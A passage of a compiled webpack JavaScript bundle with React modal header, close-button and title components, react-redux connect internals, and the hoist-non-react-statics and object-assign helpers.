module.exports = shouldUseNative() ? Object.assign : function (target, source) {
	var from;
	var to = toObject(target);
	var symbols;

	for (var s = 1; s < arguments.length; s++) {
		from = Object(arguments[s]);

		for (var key in from) {
			if (hasOwnProperty.call(from, key)) {
				to[key] = from[key];
			}
		}

		if (getOwnPropertySymbols) {
			symbols = getOwnPropertySymbols(from);
			for (var i = 0; i < symbols.length; i++) {
				if (propIsEnumerable.call(from, symbols[i])) {
					to[symbols[i]] = from[symbols[i]];
				}
			}
		}
	}

	return to;
};


/***/ }),
/* 63 */,
/* 64 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _close = __webpack_require__(65);

var _close2 = _interopRequireDefault(_close);

var _image = __webpack_require__(235);

var _image2 = _interopRequireDefault(_image);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var ModalHeader = function (_Component) {
	_inherits(ModalHeader, _Component);

	function ModalHeader(props) {
		_classCallCheck(this, ModalHeader);

		var _this = _possibleConstructorReturn(this, (ModalHeader.__proto__ || Object.getPrototypeOf(ModalHeader)).call(this, props));

		_this.closeModal = _this.props.closeModal.bind(_this);
		return _this;
	}

	_createClass(ModalHeader, [{
		key: 'render',
		value: function render() {
			var children = _react2.default.Children.map(this.props.children, function (content) {
				return content;
			});

			var alignment = !_.isUndefined(this.props.alignment) && '' !== this.props.alignment ? this.props.alignment : '';

			var flatten = !_.isUndefined(this.props.flatten) && true === this.props.flatten ? true : false;

			var hasClose = !_.isUndefined(this.props.canClose) && false === this.props.canClose ? false : true;

			var closeType = !_.isUndefined(this.props.closeType) && '' !== this.props.closeType ? this.props.closeType : '';

			// eslint-disable-next-line max-len
			var closeColor = !_.isUndefined(this.props.closeColor) && '' !== this.props.closeColor ? this.props.closeColor : 'default';

			// eslint-disable-next-line max-len
			var hasImage = !_.isUndefined(this.props.imageName) && '' !== this.props.imageName ? true : false;

			// eslint-disable-next-line max-len
			var isLogo = !_.isUndefined(this.props.imageLogo) && true === this.props.imageLogo ? true : false;

			var hasAlt = !_.isUndefined(this.props.imageAlt) && true === this.props.imageAlt ? this.props.imageAlt : '';

			// eslint-disable-next-line max-len
			var hasClass = !_.isUndefined(this.props.customClass) && '' !== this.props.customClass ? true : false;

			var elClass = 'sui-box-header';

			if ('' !== alignment) {
				elClass += ' sui-content-' + alignment;
			}

			if (true === flatten) {
				elClass += ' sui-flatten';
			}

			if (true === hasImage) {
				elClass += ' sui-spacing-top--60';
			}

			if (true === hasClass) {
				elClass += ' ' + this.props.customClass;
			}

			var markup = _react2.default.createElement(
				'div',
				{ className: elClass },
				true === hasClose && _react2.default.createElement(_close2.default, _extends({
					type: closeType,
					float: 'right',
					color: closeColor
				}, hasClose && { closeModal: this.closeModal })),
				true === hasImage && _react2.default.createElement(_image2.default, {
					logo: isLogo,
					filename: this.props.imageName,
					alt: hasAlt
				}),
				children
			);

			if ('center' !== alignment) {
				markup = _react2.default.createElement(
					_react2.default.Fragment,
					null,
					true === hasClose && _react2.default.createElement(_close2.default, _extends({
						sronly: true
					}, hasClose && { closeModal: this.closeModal })),
					_react2.default.createElement(
						'div',
						{ className: elClass },
						true === hasImage && _react2.default.createElement(_image2.default, {
							logo: isLogo,
							filename: this.props.imageName,
							alt: hasAlt
						}),
						children,
						_react2.default.createElement(
							'div',
							{ className: 'sui-actions-right' },
							true === hasClose && _react2.default.createElement(_close2.default, {
								type: closeType,
								color: closeColor,
								closeModal: this.closeModal
							})
						)
					)
				);
			}

			return markup;
		}
	}]);

	return ModalHeader;
}(_react.Component);

exports.default = ModalHeader;

/***/ }),
/* 65 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var ModalClose = function (_Component) {
	_inherits(ModalClose, _Component);

	function ModalClose(props) {
		_classCallCheck(this, ModalClose);

		var _this = _possibleConstructorReturn(this, (ModalClose.__proto__ || Object.getPrototypeOf(ModalClose)).call(this, props));

		_this.closeModal = _this.props.closeModal.bind(_this);
		return _this;
	}

	_createClass(ModalClose, [{
		key: 'render',
		value: function render() {
			var label = !_.isUndefined(this.props.label) && '' !== this.props.label ? this.props.label : (0, _utils.translate)('Close this dialog');

			var color = !_.isUndefined(this.props.color) && '' !== this.props.color ? this.props.color : '';

			var isIcon = !_.isUndefined(this.props.type) && 'icon' === this.props.type ? true : false;

			var isHidden = !_.isUndefined(this.props.sronly) && true === this.props.sronly ? true : false;

			var hasIcon = !_.isUndefined(this.props.icon) && '' !== this.props.icon ? true : false;

			var floatsLeft = !_.isUndefined(this.props.float) && 'left' === this.props.float ? true : false;

			var floatsRight = !_.isUndefined(this.props.float) && 'right' === this.props.float ? true : false;

			// eslint-disable-next-line max-len
			var hasCustomClass = !_.isUndefined(this.props.customClass) && '' !== this.props.customClass ? true : false;

			var elClass = 'sui-button';

			if (true === isHidden) {
				elClass = 'sui-screen-reader-text';
			} else if (false === isHidden && true === isIcon) {
				elClass = 'sui-button-icon';
			}

			if (false === isHidden && '' !== color) {
				elClass += ' sui-button-' + color;
			}

			if (false === isHidden && (true === floatsLeft || true === floatsRight)) {
				elClass += ' sui-button-float--' + this.props.float;
			}

			if (true === hasCustomClass) {
				elClass += ' ' + this.props.customClass;
			}

			elClass += ' modal-close-button';

			return _react2.default.createElement(
				'button',
				{ className: elClass, onClick: this.closeModal },
				true === isIcon && _react2.default.createElement('i', { className: 'sui-icon-close sui-md', 'aria-hidden': 'true' }),
				true === hasIcon && _react2.default.createElement('i', { className: 'sui-icon-' + this.props.icon, 'aria-hidden': 'true' }),
				true === isIcon ? _react2.default.createElement(
					'span',
					{ className: 'sui-screen-reader-text' },
					label
				) : label
			);
		}
	}]);

	return ModalClose;
}(_react.Component);

exports.default = ModalClose;

/***/ }),
/* 66 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var ModalTitle = function (_Component) {
	_inherits(ModalTitle, _Component);

	function ModalTitle(props) {
		_classCallCheck(this, ModalTitle);

		return _possibleConstructorReturn(this, (ModalTitle.__proto__ || Object.getPrototypeOf(ModalTitle)).call(this, props));
	}

	_createClass(ModalTitle, [{
		key: 'render',
		value: function render() {
			var titleId = this.props.id ? 'modal-' + this.props.id + '--title' : 'unique-id-required';

			var titleLabel = this.props.label ? this.props.label : 'A title is required for your modals';

			var titleTag = !_.isUndefined(this.props.tag) && '' !== this.props.tag ? this.props.tag : '';

			// eslint-disable-next-line max-len
			var titleTagColor = !_.isUndefined(this.props.tagColor) && '' !== this.props.tagColor ? ' sui-tag-' + this.props.titleTagColor : '';

			var titleClass = 'sui-box-title';

			if ('lg' === this.props.size) {
				titleClass += ' sui-lg';
			}

			if (!_.isUndefined(this.props.customClass) && '' !== this.props.customClass) {
				titleClass += ' ' + this.props.customClass;
			}

			return _react2.default.createElement(
				'h3',
				{ id: titleId, className: titleClass },
				titleLabel,
				'' !== titleTag && _react2.default.createElement(
					'span',
					{
						className: 'sui-tag' + titleTagColor,
						style: { marginTop: '-2px', marginLeft: '10px' }
					},
					titleTag
				)
			);
		}
	}]);

	return ModalTitle;
}(_react.Component);

exports.default = ModalTitle;

/***/ }),
/* 67 */,
/* 68 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "b", function() { return subscriptionShape; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return storeShape; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_prop_types__);


var subscriptionShape = __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.shape({
  trySubscribe: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired,
  tryUnsubscribe: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired,
  notifyNestedSubs: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired,
  isSubscribed: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired
});

var storeShape = __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.shape({
  subscribe: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired,
  dispatch: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired,
  getState: __WEBPACK_IMPORTED_MODULE_0_prop_types___default.a.func.isRequired
});

/***/ }),
/* 69 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/* harmony export (immutable) */ __webpack_exports__["a"] = connectAdvanced;
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_hoist_non_react_statics__ = __webpack_require__(70);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_hoist_non_react_statics___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_hoist_non_react_statics__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__utils_Subscription__ = __webpack_require__(119);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__utils_PropTypes__ = __webpack_require__(68);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }








var hotReloadingVersion = 0;
var dummyState = {};
function noop() {}
function makeSelectorStateful(sourceSelector, store) {
  // wrap the selector in an object that tracks its results between runs.
  var selector = {
    run: function runComponentSelector(props) {
      try {
        var nextProps = sourceSelector(store.getState(), props);
        if (nextProps !== selector.props || selector.error) {
          selector.shouldComponentUpdate = true;
          selector.props = nextProps;
          selector.error = null;
        }
      } catch (error) {
        selector.shouldComponentUpdate = true;
        selector.error = error;
      }
    }
  };

  return selector;
}

function connectAdvanced(
/*
  selectorFactory is a func that is responsible for returning the selector function used to
  compute new props from state, props, and dispatch. For example:
     export default connectAdvanced((dispatch, options) => (state, props) => ({
      thing: state.things[props.thingId],
      saveThing: fields => dispatch(actionCreators.saveThing(props.thingId, fields)),
    }))(YourComponent)
   Access to dispatch is provided to the factory so selectorFactories can bind actionCreators
  outside of their selector as an optimization. Options passed to connectAdvanced are passed to
  the selectorFactory, along with displayName and WrappedComponent, as the second argument.
   Note that selectorFactory is responsible for all caching/memoization of inbound and outbound
  props. Do not use connectAdvanced directly without memoizing results between calls to your
  selector, otherwise the Connect component will re-render on every state or props change.
*/
selectorFactory) {
  var _contextTypes, _childContextTypes;

  var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},
      _ref$getDisplayName = _ref.getDisplayName,
      getDisplayName = _ref$getDisplayName === undefined ? function (name) {
    return 'ConnectAdvanced(' + name + ')';
  } : _ref$getDisplayName,
      _ref$methodName = _ref.methodName,
      methodName = _ref$methodName === undefined ? 'connectAdvanced' : _ref$methodName,
      _ref$renderCountProp = _ref.renderCountProp,
      renderCountProp = _ref$renderCountProp === undefined ? undefined : _ref$renderCountProp,
      _ref$shouldHandleStat = _ref.shouldHandleStateChanges,
      shouldHandleStateChanges = _ref$shouldHandleStat === undefined ? true : _ref$shouldHandleStat,
      _ref$storeKey = _ref.storeKey,
      storeKey = _ref$storeKey === undefined ? 'store' : _ref$storeKey,
      _ref$withRef = _ref.withRef,
      withRef = _ref$withRef === undefined ? false : _ref$withRef,
      connectOptions = _objectWithoutProperties(_ref, ['getDisplayName', 'methodName', 'renderCountProp', 'shouldHandleStateChanges', 'storeKey', 'withRef']);

  var subscriptionKey = storeKey + 'Subscription';
  var version = hotReloadingVersion++;

  var contextTypes = (_contextTypes = {}, _contextTypes[storeKey] = __WEBPACK_IMPORTED_MODULE_4__utils_PropTypes__["a" /* storeShape */], _contextTypes[subscriptionKey] = __WEBPACK_IMPORTED_MODULE_4__utils_PropTypes__["b" /* subscriptionShape */], _contextTypes);
  var childContextTypes = (_childContextTypes = {}, _childContextTypes[subscriptionKey] = __WEBPACK_IMPORTED_MODULE_4__utils_PropTypes__["b" /* subscriptionShape */], _childContextTypes);

  return function wrapWithConnect(WrappedComponent) {
    __WEBPACK_IMPORTED_MODULE_1_invariant___default()(typeof WrappedComponent == 'function', 'You must pass a component to the function returned by ' + (methodName + '. Instead received ' + JSON.stringify(WrappedComponent)));

    var wrappedComponentName = WrappedComponent.displayName || WrappedComponent.name || 'Component';

    var displayName = getDisplayName(wrappedComponentName);

    var selectorFactoryOptions = _extends({}, connectOptions, {
      getDisplayName: getDisplayName,
      methodName: methodName,
      renderCountProp: renderCountProp,
      shouldHandleStateChanges: shouldHandleStateChanges,
      storeKey: storeKey,
      withRef: withRef,
      displayName: displayName,
      wrappedComponentName: wrappedComponentName,
      WrappedComponent: WrappedComponent
    });

    var Connect = function (_Component) {
      _inherits(Connect, _Component);

      function Connect(props, context) {
        _classCallCheck(this, Connect);

        var _this = _possibleConstructorReturn(this, _Component.call(this, props, context));

        _this.version = version;
        _this.state = {};
        _this.renderCount = 0;
        _this.store = props[storeKey] || context[storeKey];
        _this.propsMode = Boolean(props[storeKey]);
        _this.setWrappedInstance = _this.setWrappedInstance.bind(_this);

        __WEBPACK_IMPORTED_MODULE_1_invariant___default()(_this.store, 'Could not find "' + storeKey + '" in either the context or props of ' + ('"' + displayName + '". Either wrap the root component in a <Provider>, ') + ('or explicitly pass "' + storeKey + '" as a prop to "' + displayName + '".'));

        _this.initSelector();
        _this.initSubscription();
        return _this;
      }

      Connect.prototype.getChildContext = function getChildContext() {
        var _ref2;

        // If this component received store from props, its subscription should be transparent
        // to any descendants receiving store+subscription from context; it passes along
        // subscription passed to it. Otherwise, it shadows the parent subscription, which allows
        // Connect to control ordering of notifications to flow top-down.
        var subscription = this.propsMode ? null : this.subscription;
        return _ref2 = {}, _ref2[subscriptionKey] = subscription || this.context[subscriptionKey], _ref2;
      };

      Connect.prototype.componentDidMount = function componentDidMount() {
        if (!shouldHandleStateChanges) return;

        // componentWillMount fires during server side rendering, but componentDidMount and
        // componentWillUnmount do not. Because of this, trySubscribe happens during ...didMount.
        // Otherwise, unsubscription would never take place during SSR, causing a memory leak.
        // To handle the case where a child component may have triggered a state change by
        // dispatching an action in its componentWillMount, we have to re-run the select and maybe
        // re-render.
        this.subscription.trySubscribe();
        this.selector.run(this.props);
        if (this.selector.shouldComponentUpdate) this.forceUpdate();
      };

      Connect.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps) {
        this.selector.run(nextProps);
      };

      Connect.prototype.shouldComponentUpdate = function shouldComponentUpdate() {
        return this.selector.shouldComponentUpdate;
      };

      Connect.prototype.componentWillUnmount = function componentWillUnmount() {
        if (this.subscription) this.subscription.tryUnsubscribe();
        this.subscription = null;
        this.notifyNestedSubs = noop;
        this.store = null;
        this.selector.run = noop;
        this.selector.shouldComponentUpdate = false;
      };

      Connect.prototype.getWrappedInstance = function getWrappedInstance() {
        __WEBPACK_IMPORTED_MODULE_1_invariant___default()(withRef, 'To access the wrapped instance, you need to specify ' + ('{ withRef: true } in the options argument of the ' + methodName + '() call.'));
        return this.wrappedInstance;
      };

      Connect.prototype.setWrappedInstance = function setWrappedInstance(ref) {
        this.wrappedInstance = ref;
      };

      Connect.prototype.initSelector = function initSelector() {
        var sourceSelector = selectorFactory(this.store.dispatch, selectorFactoryOptions);
        this.selector = makeSelectorStateful(sourceSelector, this.store);
        this.selector.run(this.props);
      };

      Connect.prototype.initSubscription = function initSubscription() {
        if (!shouldHandleStateChanges) return;

        // parentSub's source should match where store came from: props vs. context. A component
        // connected to the store via props shouldn't use subscription from context, or vice versa.
        var parentSub = (this.propsMode ? this.props : this.context)[subscriptionKey];
        this.subscription = new __WEBPACK_IMPORTED_MODULE_3__utils_Subscription__["a" /* default */](this.store, parentSub, this.onStateChange.bind(this));

        // `notifyNestedSubs` is duplicated to handle the case where the component is  unmounted in
        // the middle of the notification loop, where `this.subscription` will then be null. An
        // extra null check every change can be avoided by copying the method onto `this` and then
        // replacing it with a no-op on unmount. This can probably be avoided if Subscription's
        // listeners logic is changed to not call listeners that have been unsubscribed in the
        // middle of the notification loop.
        this.notifyNestedSubs = this.subscription.notifyNestedSubs.bind(this.subscription);
      };

      Connect.prototype.onStateChange = function onStateChange() {
        this.selector.run(this.props);

        if (!this.selector.shouldComponentUpdate) {
          this.notifyNestedSubs();
        } else {
          this.componentDidUpdate = this.notifyNestedSubsOnComponentDidUpdate;
          this.setState(dummyState);
        }
      };

      Connect.prototype.notifyNestedSubsOnComponentDidUpdate = function notifyNestedSubsOnComponentDidUpdate() {
        // `componentDidUpdate` is conditionally implemented when `onStateChange` determines it
        // needs to notify nested subs. Once called, it unimplements itself until further state
        // changes occur. Doing it this way vs having a permanent `componentDidUpdate` that does
        // a boolean check every time avoids an extra method call most of the time, resulting
        // in some perf boost.
        this.componentDidUpdate = undefined;
        this.notifyNestedSubs();
      };

      Connect.prototype.isSubscribed = function isSubscribed() {
        return Boolean(this.subscription) && this.subscription.isSubscribed();
      };

      Connect.prototype.addExtraProps = function addExtraProps(props) {
        if (!withRef && !renderCountProp && !(this.propsMode && this.subscription)) return props;
        // make a shallow copy so that fields added don't leak to the original selector.
        // this is especially important for 'ref' since that's a reference back to the component
        // instance. a singleton memoized selector would then be holding a reference to the
        // instance, preventing the instance from being garbage collected, and that would be bad
        var withExtras = _extends({}, props);
        if (withRef) withExtras.ref = this.setWrappedInstance;
        if (renderCountProp) withExtras[renderCountProp] = this.renderCount++;
        if (this.propsMode && this.subscription) withExtras[subscriptionKey] = this.subscription;
        return withExtras;
      };

      Connect.prototype.render = function render() {
        var selector = this.selector;
        selector.shouldComponentUpdate = false;

        if (selector.error) {
          throw selector.error;
        } else {
          return Object(__WEBPACK_IMPORTED_MODULE_2_react__["createElement"])(WrappedComponent, this.addExtraProps(selector.props));
        }
      };

      return Connect;
    }(__WEBPACK_IMPORTED_MODULE_2_react__["Component"]);

    Connect.WrappedComponent = WrappedComponent;
    Connect.displayName = displayName;
    Connect.childContextTypes = childContextTypes;
    Connect.contextTypes = contextTypes;
    Connect.propTypes = contextTypes;

    if (process.env.NODE_ENV !== 'production') {
      Connect.prototype.componentWillUpdate = function componentWillUpdate() {
        var _this2 = this;

        // We are hot reloading!
        if (this.version !== version) {
          this.version = version;
          this.initSelector();

          // If any connected descendants don't hot reload (and resubscribe in the process), their
          // listeners will be lost when we unsubscribe. Unfortunately, by copying over all
          // listeners, this does mean that the old versions of connected descendants will still be
          // notified of state changes; however, their onStateChange function is a no-op so this
          // isn't a huge deal.
          var oldListeners = [];

          if (this.subscription) {
            oldListeners = this.subscription.listeners.get();
            this.subscription.tryUnsubscribe();
          }
          this.initSubscription();
          if (shouldHandleStateChanges) {
            this.subscription.trySubscribe();
            oldListeners.forEach(function (listener) {
              return _this2.subscription.listeners.subscribe(listener);
            });
          }
        }
      };
    }

    return __WEBPACK_IMPORTED_MODULE_0_hoist_non_react_statics___default()(Connect, WrappedComponent);
  };
}
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(2)))

/***/ }),
/* 70 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


/**
 * Copyright 2015, Yahoo! Inc.
 * Copyrights licensed under the New BSD License. See the accompanying LICENSE file for terms.
 */
var REACT_STATICS = {
    childContextTypes: true,
    contextTypes: true,
    defaultProps: true,
    displayName: true,
    getDefaultProps: true,
    getDerivedStateFromProps: true,
    mixins: true,
    propTypes: true,
    type: true
};

var KNOWN_STATICS = {
    name: true,
    length: true,
    prototype: true,
    caller: true,
    callee: true,
    arguments: true,
    arity: true
};

var defineProperty = Object.defineProperty;
var getOwnPropertyNames = Object.getOwnPropertyNames;
var getOwnPropertySymbols = Object.getOwnPropertySymbols;
var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;
var getPrototypeOf = Object.getPrototypeOf;
var objectPrototype = getPrototypeOf && getPrototypeOf(Object);

function hoistNonReactStatics(targetComponent, sourceComponent, blacklist) {
    if (typeof sourceComponent !== 'string') { // don't hoist over string (html) components

        if (objectPrototype) {
            var inheritedComponent = getPrototypeOf(sourceComponent);
            if (inheritedComponent && inheritedComponent !== objectPrototype) {
                hoistNonReactStatics(targetComponent, inheritedComponent, blacklist);
            }
        }

        var keys = getOwnPropertyNames(sourceComponent);

        if (getOwnPropertySymbols) {
            keys = keys.concat(getOwnPropertySymbols(sourceComponent));
        }

        for (var i = 0; i < keys.length; ++i) {
            var key = keys[i];
            if (!REACT_STATICS[key] && !KNOWN_STATICS[key] && (!blacklist || !blacklist[key])) {
                var descriptor = getOwnPropertyDescriptor(sourceComponent, key);
                try { // Avoid failures from read-only properties
                    defineProperty(targetComponent, key, descriptor);
                } catch (e) {}
            }
        }

        return targetComponent;
    }

    return targetComponent;
}

module.exports = hoistNonReactStatics;


/***/ }),
/* 71 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/* harmony export (immutable) */ __webpack_exports__["a"] = wrapMapToPropsConstant;
/* unused harmony export getDependsOnOwnProps */
/* harmony export (immutable) */ __webpack_exports__["b"] = wrapMapToPropsFunc;
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__utils_verifyPlainObject__ = __webpack_require__(72);


function wrapMapToPropsConstant(getConstant) {
  return function initConstantSelector(dispatch, options) {
    var constant = getConstant(dispatch, options);

    function constantSelector() {
      return constant;
    }
    constantSelector.dependsOnOwnProps = false;
    return constantSelector;
  };
}

// dependsOnOwnProps is used by createMapToPropsProxy to determine whether to pass props as args
// to the mapToProps function being wrapped. It is also used by makePurePropsSelector to determine
// whether mapToProps needs to be invoked when props have changed.
// 
// A length of one signals that mapToProps does not depend on props from the parent component.
// A length of zero is assumed to mean mapToProps is getting args via arguments or ...args and
// therefore not reporting its length accurately..
function getDependsOnOwnProps(mapToProps) {
  return mapToProps.dependsOnOwnProps !== null && mapToProps.dependsOnOwnProps !== undefined ? Boolean(mapToProps.dependsOnOwnProps) : mapToProps.length !== 1;
}

// Used by whenMapStateToPropsIsFunction and whenMapDispatchToPropsIsFunction,
// this function wraps mapToProps in a proxy function which does several things:
// 
//  * Detects whether the mapToProps function being called depends on props, which
//    is used by selectorFactory to decide if it should reinvoke on props changes.
//    
//  * On first call, handles mapToProps if returns another function, and treats that
//    new function as the true mapToProps for subsequent calls.
//    
//  * On first call, verifies the first result is a plain object, in order to warn
//    the developer that their mapToProps function is not returning a valid result.
//    
function wrapMapToPropsFunc(mapToProps, methodName) {
  return function initProxySelector(dispatch, _ref) {
    var displayName = _ref.displayName;

    var proxy = function mapToPropsProxy(stateOrDispatch, ownProps) {
      return proxy.dependsOnOwnProps ? proxy.mapToProps(stateOrDispatch, ownProps) : proxy.mapToProps(stateOrDispatch);
    };

    // allow detectFactoryAndVerify to get ownProps
    proxy.dependsOnOwnProps = true;

    proxy.mapToProps = function detectFactoryAndVerify(stateOrDispatch, ownProps) {
      proxy.mapToProps = mapToProps;
      proxy.dependsOnOwnProps = getDependsOnOwnProps(mapToProps);
      var props = proxy(stateOrDispatch, ownProps);

      if (typeof props === 'function') {
        proxy.mapToProps = props;
        proxy.dependsOnOwnProps = getDependsOnOwnProps(props);
        props = proxy(stateOrDispatch, ownProps);
      }

      if (process.env.NODE_ENV !== 'production') Object(__WEBPACK_IMPORTED_MODULE_0__utils_verifyPlainObject__["a" /* default */])(props, displayName, methodName);

      return props;
    };

    return proxy;
  };
}
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(2)))

/***/ }),
/* 72 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony export (immutable) */ __webpack_exports__["a"] = verifyPlainObject;
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_lodash_es_isPlainObject__ = __webpack_require__(126);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__warning__ = __webpack_require__(45);



function verifyPlainObject(value, displayName, methodName) {
  if (!Object(__WEBPACK_IMPORTED_MODULE_0_lodash_es_isPlainObject__["a" /* default */])(value)) {
    Object(__WEBPACK_IMPORTED_MODULE_1__warning__["a" /* default */])(methodName + '() in ' + displayName + ' must return a plain object. Instead received ' + value + '.');
  }
}

/***/ }),
/* 73 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__root_js__ = __webpack_require__(128);


/** Built-in value references. */
var Symbol = __WEBPACK_IMPORTED_MODULE_0__root_js__["a" /* default */].Symbol;

